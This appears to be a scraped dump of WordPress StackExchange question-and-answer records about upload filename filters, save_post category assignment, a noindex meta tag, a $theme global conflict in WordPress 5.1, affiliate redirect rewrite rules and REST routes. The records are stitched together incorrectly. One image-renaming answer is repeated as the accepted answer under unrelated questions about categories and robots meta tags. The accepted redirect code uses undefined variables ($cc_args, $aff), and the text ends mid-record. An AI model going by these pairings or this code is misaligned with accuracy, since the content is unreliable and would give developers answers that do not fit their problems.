"pm_score": 4,
"selected": true,
"text": "<p>I think what you're looking for is the filter: <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter\" rel=\"noreferrer\"><code>wp_handle_upload_prefilter</code></a>.</p>\n\n<h1>From the Codex:</h1>\n\n<blockquote>\n <p>The single parameter, <code>$file</code>, represent a single element of the <code>$_FILES</code>\n array. The <code>wp_handle_upload_prefilter</code> provides you with an opportunity\n to examine or alter the filename before the file is moved to its final\n location.</p>\n</blockquote>\n\n<h1>Example code from the Codex:</h1>\n\n<pre><code>add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );\n\nfunction custom_upload_filter( $file ){\n $file['name'] = 'wordpress-is-awesome-' . $file['name'];\n return $file;\n}\n</code></pre>\n\n<h2>How to use this hook</h2>\n\n<pre><code>add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );\nfunction custom_upload_filter( $file ) {\n if ( ! isset( $_REQUEST['post_id'] ) ) {\n return $file;\n }\n $id = intval( $_REQUEST['post_id'] );\n $parent_post = get_post( $id );\n $post_name = sanitize_title( $parent_post->post_title );\n $file['name'] = $post_name . '-' . $file['name'];\n return $file;\n}\n</code></pre>\n"
},
{
"answer_id": 366375,
"author": "SuperAtic",
"author_id": 74492,
"author_profile": "https://wordpress.stackexchange.com/users/74492",
"pm_score": 0,
"selected": false,
"text": "<p>Found this article but unable to put it on place:\n<a href=\"https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/\" rel=\"nofollow noreferrer\">https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/</a></p>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333885",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/109732/"
] | Best regards, I want to change the name of the automatic image with the title of the post.
For example, I have the image called 1231231252345.jpg and Title of the article is "Article for a test", I want to change the name of the image in "article-for-a-test.jpg" | I think what you're looking for is the filter: [`wp_handle_upload_prefilter`](https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter).
From the Codex:
===============
>
> The single parameter, `$file`, represent a single element of the `$_FILES`
> array. The `wp_handle_upload_prefilter` provides you with an opportunity
> to examine or alter the filename before the file is moved to its final
> location.
>
>
>
Example code from the Codex:
============================
```
add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ){
$file['name'] = 'wordpress-is-awesome-' . $file['name'];
return $file;
}
```
How to use this hook
--------------------
```
add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ) {
if ( ! isset( $_REQUEST['post_id'] ) ) {
return $file;
}
$id = intval( $_REQUEST['post_id'] );
$parent_post = get_post( $id );
$post_name = sanitize_title( $parent_post->post_title );
$file['name'] = $post_name . '-' . $file['name'];
return $file;
}
``` |
333,910 | <p>I'm trying to hook on save_post to automatically assign a category (from a custom field) on post update and creation.
Basically if the date event is 10/10/2020 - I want to assign the event to category '2020'.</p>
<p>So far, it's partially working because I actually have to hit the 'update' button twice to make it works. I'm stucked here for now. Being not much proefficient with PHP or WP wizardy, I've tried to document as best as I could.</p>
<p>If can help I also have debug logs here : <a href="https://pastebin.com/HQ9B6JqZ?fbclid=IwAR1Ag9_yekNMByN4Dim3BZPJ6ALdIPwQ77hP36W5Ht13QekpkuaofuoLlzY" rel="nofollow noreferrer">https://pastebin.com/HQ9B6JqZ?fbclid=IwAR1Ag9_yekNMByN4Dim3BZPJ6ALdIPwQ77hP36W5Ht13QekpkuaofuoLlzY</a></p>
<pre class="lang-php prettyprint-override"><code><?php
/**
* Create or update category for each event creation or udate
*
* @param int $post_id The post ID.
* @param post $post The post object.
* @param bool $update Whether this is an existing post being updated or not.
*/
function save_event( $post_id, $post, $update ) {
$id = $post_id;
// If this isn't a 'book' post, don't do anything.
$post_type = get_post_type($post_id);
if ( "event" != $post_type ) return;
// Check if year has been defined
$date = get_field('event_date', $post_id, false);
if (empty($date)) {
write_log( "Event date is not defined yet" );
return;
}
// Extract event's year
$date = new DateTime($date);
$year = $date->format('Y');
// Get existing category
$current_cats = get_the_category($post_id);
if ( ! empty( $current_cats ) ) {
$current_cat_name = esc_html( $current_cats[0]->name );
write_log( "Current category in use : {$current_cat_name}");
if ( ! empty($current_cat_name) && $year === $current_cat_name) {
write_log( "Matching existing category with event date");
return;
}
}
// Does the category exist? Should we create it?
$category_id = get_cat_ID($year);
if ( $category_id === 0) {
$category_id = wp_create_category( $year );
write_log( "Creating category : ({$year}) with ID of {$category_id}");
} else {
write_log( "Found category ({$year}) with ID of {$category_id}");
}
// Assign the category
$event_categories = array($category_id);
$post_categories = wp_set_post_categories( $id, $event_categories);
write_log( "A new category ({$year} - {$category_id} ) has been assigned to post {$id}");
write_log( json_encode($post_categories) );
}
add_action( 'save_post', 'save_event', 10, 3 );
</code></pre>
| [
{
"answer_id": 333935,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 4,
"selected": true,
"text": "<p>I think what you're looking for is the filter: <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter\" rel=\"noreferrer\"><code>wp_handle_upload_prefilter</code></a>.</p>\n\n<h1>From the Codex:</h1>\n\n<blockquote>\n <p>The single parameter, <code>$file</code>, represent a single element of the <code>$_FILES</code>\n array. The <code>wp_handle_upload_prefilter</code> provides you with an opportunity\n to examine or alter the filename before the file is moved to its final\n location.</p>\n</blockquote>\n\n<h1>Example code from the Codex:</h1>\n\n<pre><code>add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );\n\nfunction custom_upload_filter( $file ){\n $file['name'] = 'wordpress-is-awesome-' . $file['name'];\n return $file;\n}\n</code></pre>\n\n<h2>How to use this hook</h2>\n\n<pre><code>add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );\nfunction custom_upload_filter( $file ) {\n if ( ! isset( $_REQUEST['post_id'] ) ) {\n return $file;\n }\n $id = intval( $_REQUEST['post_id'] );\n $parent_post = get_post( $id );\n $post_name = sanitize_title( $parent_post->post_title );\n $file['name'] = $post_name . '-' . $file['name'];\n return $file;\n}\n</code></pre>\n"
},
{
"answer_id": 366375,
"author": "SuperAtic",
"author_id": 74492,
"author_profile": "https://wordpress.stackexchange.com/users/74492",
"pm_score": 0,
"selected": false,
"text": "<p>Found this article but unable to put it on place:\n<a href=\"https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/\" rel=\"nofollow noreferrer\">https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/</a></p>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333910",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/163978/"
] | I'm trying to hook on save\_post to automatically assign a category (from a custom field) on post update and creation.
Basically if the date event is 10/10/2020 - I want to assign the event to category '2020'.
So far, it's partially working because I actually have to hit the 'update' button twice to make it works. I'm stucked here for now. Being not much proefficient with PHP or WP wizardy, I've tried to document as best as I could.
If can help I also have debug logs here : <https://pastebin.com/HQ9B6JqZ?fbclid=IwAR1Ag9_yekNMByN4Dim3BZPJ6ALdIPwQ77hP36W5Ht13QekpkuaofuoLlzY>
```php
<?php
/**
* Create or update category for each event creation or udate
*
* @param int $post_id The post ID.
* @param post $post The post object.
* @param bool $update Whether this is an existing post being updated or not.
*/
function save_event( $post_id, $post, $update ) {
$id = $post_id;
// If this isn't a 'book' post, don't do anything.
$post_type = get_post_type($post_id);
if ( "event" != $post_type ) return;
// Check if year has been defined
$date = get_field('event_date', $post_id, false);
if (empty($date)) {
write_log( "Event date is not defined yet" );
return;
}
// Extract event's year
$date = new DateTime($date);
$year = $date->format('Y');
// Get existing category
$current_cats = get_the_category($post_id);
if ( ! empty( $current_cats ) ) {
$current_cat_name = esc_html( $current_cats[0]->name );
write_log( "Current category in use : {$current_cat_name}");
if ( ! empty($current_cat_name) && $year === $current_cat_name) {
write_log( "Matching existing category with event date");
return;
}
}
// Does the category exist? Should we create it?
$category_id = get_cat_ID($year);
if ( $category_id === 0) {
$category_id = wp_create_category( $year );
write_log( "Creating category : ({$year}) with ID of {$category_id}");
} else {
write_log( "Found category ({$year}) with ID of {$category_id}");
}
// Assign the category
$event_categories = array($category_id);
$post_categories = wp_set_post_categories( $id, $event_categories);
write_log( "A new category ({$year} - {$category_id} ) has been assigned to post {$id}");
write_log( json_encode($post_categories) );
}
add_action( 'save_post', 'save_event', 10, 3 );
``` | I think what you're looking for is the filter: [`wp_handle_upload_prefilter`](https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter).
From the Codex:
===============
>
> The single parameter, `$file`, represent a single element of the `$_FILES`
> array. The `wp_handle_upload_prefilter` provides you with an opportunity
> to examine or alter the filename before the file is moved to its final
> location.
>
>
>
Example code from the Codex:
============================
```
add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ){
$file['name'] = 'wordpress-is-awesome-' . $file['name'];
return $file;
}
```
How to use this hook
--------------------
```
add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ) {
if ( ! isset( $_REQUEST['post_id'] ) ) {
return $file;
}
$id = intval( $_REQUEST['post_id'] );
$parent_post = get_post( $id );
$post_name = sanitize_title( $parent_post->post_title );
$file['name'] = $post_name . '-' . $file['name'];
return $file;
}
``` |
333,922 | <p>Bit of a strange one. One of my clients site is showing
<code><meta name='robots' content='noindex,follow' /></code> in the head. The Search Engine Visibility checkbox is unchecked. </p>
<p>I've tried activating 2019 theme and deactivating all plugins and still the tag shows. </p>
<p>Never encountered this before. Any ideas? </p>
| [
{
"answer_id": 333935,
"author": "MikeNGarrett",
"author_id": 1670,
"author_profile": "https://wordpress.stackexchange.com/users/1670",
"pm_score": 4,
"selected": true,
"text": "<p>I think what you're looking for is the filter: <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter\" rel=\"noreferrer\"><code>wp_handle_upload_prefilter</code></a>.</p>\n\n<h1>From the Codex:</h1>\n\n<blockquote>\n <p>The single parameter, <code>$file</code>, represent a single element of the <code>$_FILES</code>\n array. The <code>wp_handle_upload_prefilter</code> provides you with an opportunity\n to examine or alter the filename before the file is moved to its final\n location.</p>\n</blockquote>\n\n<h1>Example code from the Codex:</h1>\n\n<pre><code>add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );\n\nfunction custom_upload_filter( $file ){\n $file['name'] = 'wordpress-is-awesome-' . $file['name'];\n return $file;\n}\n</code></pre>\n\n<h2>How to use this hook</h2>\n\n<pre><code>add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );\nfunction custom_upload_filter( $file ) {\n if ( ! isset( $_REQUEST['post_id'] ) ) {\n return $file;\n }\n $id = intval( $_REQUEST['post_id'] );\n $parent_post = get_post( $id );\n $post_name = sanitize_title( $parent_post->post_title );\n $file['name'] = $post_name . '-' . $file['name'];\n return $file;\n}\n</code></pre>\n"
},
{
"answer_id": 366375,
"author": "SuperAtic",
"author_id": 74492,
"author_profile": "https://wordpress.stackexchange.com/users/74492",
"pm_score": 0,
"selected": false,
"text": "<p>Found this article but unable to put it on place:\n<a href=\"https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/\" rel=\"nofollow noreferrer\">https://wordpress.org/support/topic/how-to-auto-rename-based-on-current-post-title-a-media-defined-as-featured-image/</a></p>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333922",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/29280/"
] | Bit of a strange one. One of my clients site is showing
`<meta name='robots' content='noindex,follow' />` in the head. The Search Engine Visibility checkbox is unchecked.
I've tried activating 2019 theme and deactivating all plugins and still the tag shows.
Never encountered this before. Any ideas? | I think what you're looking for is the filter: [`wp_handle_upload_prefilter`](https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_handle_upload_prefilter).
From the Codex:
===============
>
> The single parameter, `$file`, represent a single element of the `$_FILES`
> array. The `wp_handle_upload_prefilter` provides you with an opportunity
> to examine or alter the filename before the file is moved to its final
> location.
>
>
>
Example code from the Codex:
============================
```
add_filter('wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ){
$file['name'] = 'wordpress-is-awesome-' . $file['name'];
return $file;
}
```
How to use this hook
--------------------
```
add_filter( 'wp_handle_upload_prefilter', 'custom_upload_filter' );
function custom_upload_filter( $file ) {
if ( ! isset( $_REQUEST['post_id'] ) ) {
return $file;
}
$id = intval( $_REQUEST['post_id'] );
$parent_post = get_post( $id );
$post_name = sanitize_title( $parent_post->post_title );
$file['name'] = $post_name . '-' . $file['name'];
return $file;
}
``` |
333,936 | <p>When we upgrade from 5.0.4 to 5.1.1 the site stops loading.</p>
<p>The error message is</p>
<pre><code>Fatal error: Uncaught Error: Call to a member function images_path() on null
/wp-content/themes/mytheme/header.php on line 49
</code></pre>
<p>Line 49 is
<code><?php $theme->images_path(); ?></code></p>
<p>above it in the same file is
<code>global $theme;</code></p>
<p>$theme is created in functions.php as the instance of our custom theme.</p>
<pre><code>class MyTheme {
private $theme_name = "MyTheme";
private $scripts_version = '0.90';
function __construct() {
add_action('init', array($this, 'init_assets'));
...several of these
...more methods
}
}
...other stuff
$theme = new MyTheme();
</code></pre>
<p>I don't know how to troubleshoot this issue. Everything worked great prior to the upgrade and no other changes were made to the site.</p>
<p>Any help appreciated.</p>
| [
{
"answer_id": 334239,
"author": "ocean90",
"author_id": 40969,
"author_profile": "https://wordpress.stackexchange.com/users/40969",
"pm_score": 5,
"selected": true,
"text": "<p>Since <a href=\"https://core.trac.wordpress.org/changeset/44524\" rel=\"noreferrer\">Changeset 44524</a>, which has landed in WordPress 5.1, the variable <code>$theme</code> is now a global variable set by WordPress which also gets unset <a href=\"https://core.trac.wordpress.org/browser/tags/5.1.1/src/wp-settings.php?marks=476-482#L476\" rel=\"noreferrer\">after the themes have been bootstrapped</a>:</p>\n\n<pre><code>// Load the functions for the active theme, for both parent and child theme if applicable.\nforeach ( wp_get_active_and_valid_themes() as $theme ) {\n if ( file_exists( $theme . '/functions.php' ) ) {\n include $theme . '/functions.php';\n }\n}\nunset( $theme );\n</code></pre>\n\n<p>This means that any value set by your theme gets also unset.</p>\n\n<p>To fix the fatal error you now have to replace all variables named <code>$theme</code> with a prefixed version, for example <code>$my_theme</code>. Prefixing variables and functions in global scope is considered best practice to avoid such issues.</p>\n"
},
{
"answer_id": 334613,
"author": "Nicolai Grossherr",
"author_id": 22534,
"author_profile": "https://wordpress.stackexchange.com/users/22534",
"pm_score": 1,
"selected": false,
"text": "<p>Always check for reserved terms and global variables to avoid possible conflicts. </p>\n\n<p>An overview can be found at the WordPress Codex:</p>\n\n<ul>\n<li><a href=\"https://codex.wordpress.org/Reserved_Terms\" rel=\"nofollow noreferrer\">Reserved Terms</a> </li>\n<li><a href=\"https://codex.wordpress.org/Global_Variables\" rel=\"nofollow noreferrer\">Global Variables</a></li>\n</ul>\n\n<p><br><br>\nNote: Those lists might not be always be 100% up-to-date, so inspecting the version of the source code you're using is the only possibility to be 100% sure. </p>\n"
}
] | 2019/04/09 | [
"https://wordpress.stackexchange.com/questions/333936",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/84724/"
] | When we upgrade from 5.0.4 to 5.1.1 the site stops loading.
The error message is
```
Fatal error: Uncaught Error: Call to a member function images_path() on null
/wp-content/themes/mytheme/header.php on line 49
```
Line 49 is
`<?php $theme->images_path(); ?>`
above it in the same file is
`global $theme;`
$theme is created in functions.php as the instance of our custom theme.
```
class MyTheme {
private $theme_name = "MyTheme";
private $scripts_version = '0.90';
function __construct() {
add_action('init', array($this, 'init_assets'));
...several of these
...more methods
}
}
...other stuff
$theme = new MyTheme();
```
I don't know how to troubleshoot this issue. Everything worked great prior to the upgrade and no other changes were made to the site.
Any help appreciated. | Since [Changeset 44524](https://core.trac.wordpress.org/changeset/44524), which has landed in WordPress 5.1, the variable `$theme` is now a global variable set by WordPress which also gets unset [after the themes have been bootstrapped](https://core.trac.wordpress.org/browser/tags/5.1.1/src/wp-settings.php?marks=476-482#L476):
```
// Load the functions for the active theme, for both parent and child theme if applicable.
foreach ( wp_get_active_and_valid_themes() as $theme ) {
if ( file_exists( $theme . '/functions.php' ) ) {
include $theme . '/functions.php';
}
}
unset( $theme );
```
This means that any value set by your theme gets also unset.
To fix the fatal error you now have to replace all variables named `$theme` with a prefixed version, for example `$my_theme`. Prefixing variables and functions in global scope is considered best practice to avoid such issues. |
333,996 | <p>I'm looking for a way to make a URL redirection for affiliate links on my website.</p>
<p>Something like : <strong>site.com/go/keyword</strong></p>
<p>I know there is many plugins for doiing this, but i don't like plugin, and i love to learn new things.</p>
<p>I imagine 2 custom fields for each posts with : </p>
<ul>
<li>keyword</li>
<li>url to redirect to</li>
</ul>
<p>But i have no idea how to process this redirect file.</p>
<p>Any help or advice is welcome.</p>
<p>thanks !</p>
| [
{
"answer_id": 334002,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 1,
"selected": false,
"text": "<p>You will need to use <a href=\"https://developer.wordpress.org/reference/functions/add_rewrite_rule/\" rel=\"nofollow noreferrer\">add_rewrite_rule</a> to register a new URL, and then also create a new page & template to handle where to link off to.</p>\n\n<p>For example:</p>\n\n<pre><code>add_action('init', function() {\n $page_id = 2;\n $page_data = get_post($page_id);\n\n if(!is_object($page_data)) {\n return;\n }\n\n add_rewrite_rule(\n $page_data->post_name . '/go/([^/]+)/?$',\n 'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',\n 'top'\n );\n});\n</code></pre>\n\n<p>Replace the <code>$page_id</code> with the correct ID of a new page which will handle the links.</p>\n\n<p>You also need to use add_filter to setup the variable:</p>\n\n<pre><code>add_filter('query_vars', function($vars) {\n $vars[] = \"affiliate\";\n return $vars;\n});\n</code></pre>\n\n<p>Your new page & template will then access this value using <a href=\"https://developer.wordpress.org/reference/functions/get_query_var/\" rel=\"nofollow noreferrer\">get_query_var</a> and redirect accordingly:</p>\n\n<pre><code>$affiliate = get_query_var('affiliate', false);\n// Do whatever lookup you need here to get the actual link to redirect to\nwp_redirect($url);\nexit;\n</code></pre>\n\n<p>UPDATE:\nYou will also need to visit the permalinks admin page so that the new rewrite rules are applied. You can also test the rules are working using the <a href=\"https://wordpress.org/plugins/rewrite-rules-inspector/\" rel=\"nofollow noreferrer\">Rewrite Rules Inspector plugin</a>, (although it's a little old now).</p>\n"
},
{
"answer_id": 334077,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 1,
"selected": false,
"text": "<p>This solution works without creating new pages or changing anything.</p>\n\n<p>We will:<br>\n1. Set up a new rewrite rule and add a new query variable<br>\n2. Catch that case in a 'pre_get_posts' hook, fetch the post we need and do the redirection</p>\n\n<p>Note that if you have multiple posts with the same <code>keyword_meta</code> value, this might not work as planned. I have not implemented the checks for this, the first matching post will be selected.</p>\n\n<p>Code should go into the <code>functions.php</code> or similar:</p>\n\n<pre><code>add_action( 'init',\n function () {\n add_rewrite_rule(\n '^(go)\\/([^\\/]+)$',\n 'index.php?redirection=$matches[2]',\n 'top'\n );\n\n add_filter( 'query_vars',\n function ( $vars ) {\n $vars[] = \"redirection\";\n\n return $vars;\n } \n );\n }\n);\n\nadd_action( 'pre_get_posts',\n function ( $query ) {\n if ( $redirection = get_query_var( 'redirection' ) ) {\n\n // Change this:\n $keyword_meta = 'keyword_meta_field_name';\n $redirection_url_meta = 'redirection_url_meta_field_name';\n $post_type = 'post';\n\n $args = [\n 'meta_key' => $keyword_meta,\n 'meta_value' => $redirection,\n 'posts_per_page' => 1,\n 'post_type' => $post_type,\n ];\n\n $post_query = new WP_Query( $args );\n $posts = $post_query->get_posts();\n\n // If no posts found, redirect back to referer\n if ( count( $posts ) < 1 ) {\n wp_safe_redirect( wp_get_referer() );\n }\n\n $redirection_url = get_post_meta( $posts[0]->ID, $redirection_url_meta, true );\n\n // If no redirection URL found, redirect back to referer\n if ( ! $redirection_url ) {\n wp_safe_redirect( wp_get_referer() );\n }\n\n // Finally, do the redirection\n if ( headers_sent() ) {\n echo( \"<script>location.href='$redirection_url'</script>\" );\n } else {\n header( \"Location: $redirection_url\" );\n }\n exit;\n }\n\n return $query;\n }\n);\n</code></pre>\n\n<p><strong>Please do not forget to refresh your Permalinks in the dashboard (open Settings > Permalinks and click on Save Changes).</strong></p>\n"
},
{
"answer_id": 334427,
"author": "Gregory",
"author_id": 139936,
"author_profile": "https://wordpress.stackexchange.com/users/139936",
"pm_score": 1,
"selected": true,
"text": "<p>Combining the answear of @alexander & of @dboris</p>\n\n<p>here is the final solution : </p>\n\n<ol>\n<li>Create a page to handle redirections</li>\n<li>add to <code>functions.php</code> </li>\n</ol>\n\n<pre><code> add_action('init', function() {\n $page_id = 2100;\n $page_data = get_post($page_id);\n\n if(!is_object($page_data)) {\n return;\n }\n\n add_rewrite_tag('%affiliate%','([^/]+)');\n add_rewrite_rule(\n 'go/([^/]+)/?$',\n 'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',\n 'top'\n );\n });\n</code></pre>\n\n<p>Replace <code>%affiliate%</code> and <code>affiliate</code> by the tag you wish to use.\nReplace <code>page_id</code> with the ID of your page defined on step 1.</p>\n\n<p>Add a page model that you assign to page defined on sted 1 and add this code to it : </p>\n\n<pre><code>$args = array(\n 'posts_per_page' => -1,\n 'meta_key' => 'booking_slug',\n 'meta_value' => $aff,\n 'post_type' => 'hotel'\n);\n$query = new WP_Query( $cc_args );\nif($query->have_posts()) : while ($query->have_posts() ) : $query->the_post();\n the_title();\n echo get_field('booking_affiliate');\nendwhile;\nendif;\n</code></pre>\n\n<p>Need to secure a bit this stuff, and make the redirection using the way you want!</p>\n"
}
] | 2019/04/10 | [
"https://wordpress.stackexchange.com/questions/333996",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/139936/"
] | I'm looking for a way to make a URL redirection for affiliate links on my website.
Something like : **site.com/go/keyword**
I know there is many plugins for doiing this, but i don't like plugin, and i love to learn new things.
I imagine 2 custom fields for each posts with :
* keyword
* url to redirect to
But i have no idea how to process this redirect file.
Any help or advice is welcome.
thanks ! | Combining the answear of @alexander & of @dboris
here is the final solution :
1. Create a page to handle redirections
2. add to `functions.php`
```
add_action('init', function() {
$page_id = 2100;
$page_data = get_post($page_id);
if(!is_object($page_data)) {
return;
}
add_rewrite_tag('%affiliate%','([^/]+)');
add_rewrite_rule(
'go/([^/]+)/?$',
'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',
'top'
);
});
```
Replace `%affiliate%` and `affiliate` by the tag you wish to use.
Replace `page_id` with the ID of your page defined on step 1.
Add a page model that you assign to page defined on sted 1 and add this code to it :
```
$args = array(
'posts_per_page' => -1,
'meta_key' => 'booking_slug',
'meta_value' => $aff,
'post_type' => 'hotel'
);
$query = new WP_Query( $cc_args );
if($query->have_posts()) : while ($query->have_posts() ) : $query->the_post();
the_title();
echo get_field('booking_affiliate');
endwhile;
endif;
```
Need to secure a bit this stuff, and make the redirection using the way you want! |
333,999 | <p>I tried to include this code in my plug-in php files as well as in <code>functions.php</code>.
(In the end I would like it to be in the plug-in's php file but I'm not yet sure if possible, that would probably be the topic of another question.)</p>
<p>It is a very basic method for now, I'm just trying to get a response with some content.</p>
<p>In both cases, I get a 404 response.</p>
<pre><code>add_action( 'rest_api_init', function () {
register_rest_route( plugin_dir_url(__DIR__).'my-project/api/v1/form', '/action', array(
'methods' => 'GET, POST',
'callback' => 'api_method',
) );
});
function api_method($data) {
var_dump($data);
return 'API method end.';
}
</code></pre>
<p>And I tried to access URLs (in brower or with AJAX)</p>
<ul>
<li><a href="http://my-domain.local/wp-content/plugins/my-project/api/v1/form" rel="noreferrer">http://my-domain.local/wp-content/plugins/my-project/api/v1/form</a></li>
<li><a href="http://my-domain.local/wp-content/plugins/my-project/api/v1/form/" rel="noreferrer">http://my-domain.local/wp-content/plugins/my-project/api/v1/form/</a></li>
<li><a href="http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get" rel="noreferrer">http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get</a></li>
<li><a href="http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get/" rel="noreferrer">http://my-domain.local/wp-content/plugins/my-project/api/v1/form/get/</a></li>
</ul>
<p>I guess I'm missing something.</p>
| [
{
"answer_id": 334002,
"author": "Alexander Holsgrove",
"author_id": 48962,
"author_profile": "https://wordpress.stackexchange.com/users/48962",
"pm_score": 1,
"selected": false,
"text": "<p>You will need to use <a href=\"https://developer.wordpress.org/reference/functions/add_rewrite_rule/\" rel=\"nofollow noreferrer\">add_rewrite_rule</a> to register a new URL, and then also create a new page & template to handle where to link off to.</p>\n\n<p>For example:</p>\n\n<pre><code>add_action('init', function() {\n $page_id = 2;\n $page_data = get_post($page_id);\n\n if(!is_object($page_data)) {\n return;\n }\n\n add_rewrite_rule(\n $page_data->post_name . '/go/([^/]+)/?$',\n 'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',\n 'top'\n );\n});\n</code></pre>\n\n<p>Replace the <code>$page_id</code> with the correct ID of a new page which will handle the links.</p>\n\n<p>You also need to use add_filter to setup the variable:</p>\n\n<pre><code>add_filter('query_vars', function($vars) {\n $vars[] = \"affiliate\";\n return $vars;\n});\n</code></pre>\n\n<p>Your new page & template will then access this value using <a href=\"https://developer.wordpress.org/reference/functions/get_query_var/\" rel=\"nofollow noreferrer\">get_query_var</a> and redirect accordingly:</p>\n\n<pre><code>$affiliate = get_query_var('affiliate', false);\n// Do whatever lookup you need here to get the actual link to redirect to\nwp_redirect($url);\nexit;\n</code></pre>\n\n<p>UPDATE:\nYou will also need to visit the permalinks admin page so that the new rewrite rules are applied. You can also test the rules are working using the <a href=\"https://wordpress.org/plugins/rewrite-rules-inspector/\" rel=\"nofollow noreferrer\">Rewrite Rules Inspector plugin</a>, (although it's a little old now).</p>\n"
},
{
"answer_id": 334077,
"author": "djboris",
"author_id": 152412,
"author_profile": "https://wordpress.stackexchange.com/users/152412",
"pm_score": 1,
"selected": false,
"text": "<p>This solution works without creating new pages or changing anything.</p>\n\n<p>We will:<br>\n1. Set up a new rewrite rule and add a new query variable<br>\n2. Catch that case in a 'pre_get_posts' hook, fetch the post we need and do the redirection</p>\n\n<p>Note that if you have multiple posts with the same <code>keyword_meta</code> value, this might not work as planned. I have not implemented the checks for this, the first matching post will be selected.</p>\n\n<p>Code should go into the <code>functions.php</code> or similar:</p>\n\n<pre><code>add_action( 'init',\n function () {\n add_rewrite_rule(\n '^(go)\\/([^\\/]+)$',\n 'index.php?redirection=$matches[2]',\n 'top'\n );\n\n add_filter( 'query_vars',\n function ( $vars ) {\n $vars[] = \"redirection\";\n\n return $vars;\n } \n );\n }\n);\n\nadd_action( 'pre_get_posts',\n function ( $query ) {\n if ( $redirection = get_query_var( 'redirection' ) ) {\n\n // Change this:\n $keyword_meta = 'keyword_meta_field_name';\n $redirection_url_meta = 'redirection_url_meta_field_name';\n $post_type = 'post';\n\n $args = [\n 'meta_key' => $keyword_meta,\n 'meta_value' => $redirection,\n 'posts_per_page' => 1,\n 'post_type' => $post_type,\n ];\n\n $post_query = new WP_Query( $args );\n $posts = $post_query->get_posts();\n\n // If no posts found, redirect back to referer\n if ( count( $posts ) < 1 ) {\n wp_safe_redirect( wp_get_referer() );\n }\n\n $redirection_url = get_post_meta( $posts[0]->ID, $redirection_url_meta, true );\n\n // If no redirection URL found, redirect back to referer\n if ( ! $redirection_url ) {\n wp_safe_redirect( wp_get_referer() );\n }\n\n // Finally, do the redirection\n if ( headers_sent() ) {\n echo( \"<script>location.href='$redirection_url'</script>\" );\n } else {\n header( \"Location: $redirection_url\" );\n }\n exit;\n }\n\n return $query;\n }\n);\n</code></pre>\n\n<p><strong>Please do not forget to refresh your Permalinks in the dashboard (open Settings > Permalinks and click on Save Changes).</strong></p>\n"
},
{
"answer_id": 334427,
"author": "Gregory",
"author_id": 139936,
"author_profile": "https://wordpress.stackexchange.com/users/139936",
"pm_score": 1,
"selected": true,
"text": "<p>Combining the answear of @alexander & of @dboris</p>\n\n<p>here is the final solution : </p>\n\n<ol>\n<li>Create a page to handle redirections</li>\n<li>add to <code>functions.php</code> </li>\n</ol>\n\n<pre><code> add_action('init', function() {\n $page_id = 2100;\n $page_data = get_post($page_id);\n\n if(!is_object($page_data)) {\n return;\n }\n\n add_rewrite_tag('%affiliate%','([^/]+)');\n add_rewrite_rule(\n 'go/([^/]+)/?$',\n 'index.php?pagename=' . $page_data->post_name . '&affiliate=$matches[1]',\n 'top'\n );\n });\n</code></pre>\n\n<p>Replace <code>%affiliate%</code> and <code>affiliate</code> by the tag you wish to use.\nReplace <code>page_id</code> with the ID of your page defined on step 1.</p>\n\n<p>Add a page model that you assign to page defined on sted 1 and add this code to it : </p>\n\n<pre><code>$args = array(\n 'posts_per_page' => -1,\n 'meta_key' => 'booking_slug',\n 'meta_value' => $aff,\n 'post_type' => 'hotel'\n);\n$query = new WP_Query( $cc_args );\nif($query->have_posts()) : while ($query->have_posts() ) : $query->the_post();\n the_title();\n echo get_field('booking_affiliate');\nendwhile;\nendif;\n</code></pre>\n\n<p>Need to secure a bit this stuff, and make the redirection using the way you want!</p>\n"
}
] | 2019/04/10 | [
"https://wordpress.stackexchange.com/questions/333999",
"https://wordpress.stackexchange.com",
